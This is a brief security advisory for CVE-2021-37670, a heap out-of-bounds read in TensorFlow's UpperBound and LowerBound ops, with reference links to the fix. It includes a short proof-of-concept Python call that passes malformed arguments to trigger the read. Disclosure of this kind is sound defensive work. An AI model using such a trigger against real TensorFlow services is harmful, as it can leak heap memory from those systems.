CVE-2021-37670: Heap OOB in `UpperBound` and `LowerBound`
(updated )
An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to tf.raw_ops.UpperBound:
import tensorflow as tf
tf.raw_ops.UpperBound(
sorted_input=[1,2,3],
values=tf.constant(value=[[0,0,0],[1,1,1],[2,2,2]],dtype=tf.int64),
out_type=tf.int64)
References
- github.com/advisories/GHSA-9697-98pf-4rw7
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-583.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-781.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-292.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/42459e4273c2e47a3232cc16c4f4fff3b3a35c38
- github.com/tensorflow/tensorflow/security/advisories/GHSA-9697-98pf-4rw7
- nvd.nist.gov/vuln/detail/CVE-2021-37670
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